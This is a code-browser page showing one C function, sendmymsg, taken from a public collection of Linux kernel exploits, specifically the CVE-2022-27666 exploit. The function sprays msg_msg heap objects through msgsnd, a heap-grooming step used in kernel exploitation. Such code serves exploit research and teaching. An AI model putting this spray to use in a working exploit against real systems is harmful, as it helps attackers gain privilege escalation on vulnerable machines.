MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / sendmymsg

Function sendmymsg

CVE-2022-27666/exploit/exploit.c:204–222  ·  view source on GitHub ↗

send $loop msg_msg (first 8 bytes == MSG_SPARY == 0x38)

Source from the content-addressed store, hash-verified

202}
203// send $loop msg_msg (first 8 bytes == MSG_SPARY == 0x38)
204void sendmymsg(int _msqid, int start, int loop, int size)
205{
206 int i, buff_size = size - MSG_HEADER_SIZE;
207 int qbytes = MAX_QBYTES_IN_QUEUE;
208
209 struct msgbuf_key *msg_key = malloc(sizeof(long) + buff_size);
210 memset(&msg_key->mtext[0], MSG_SPARY, buff_size);
211 for (i = start; i < start+loop; i++) {
212 msg_key->mtype = BASE_MSGTYPE + i;
213 //printf("[*] sendmymsg: msqid: %d, mtype: %ld\n", _msqid, msg_key->mtype);
214 int ret = msgsnd(_msqid, msg_key, buff_size, 0);
215 //printf("[*] sendmymsg: msqid: %d, ret: %d\n", _msqid, ret);
216 if (ret == -1) {
217 printf("msgsnd error\n");
218 exit(1);
219 }
220 }
221 free(msg_key);
222}
223
224#define NONFAILING(...) \
225 ({ \

Callers 1

msg_sprayFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected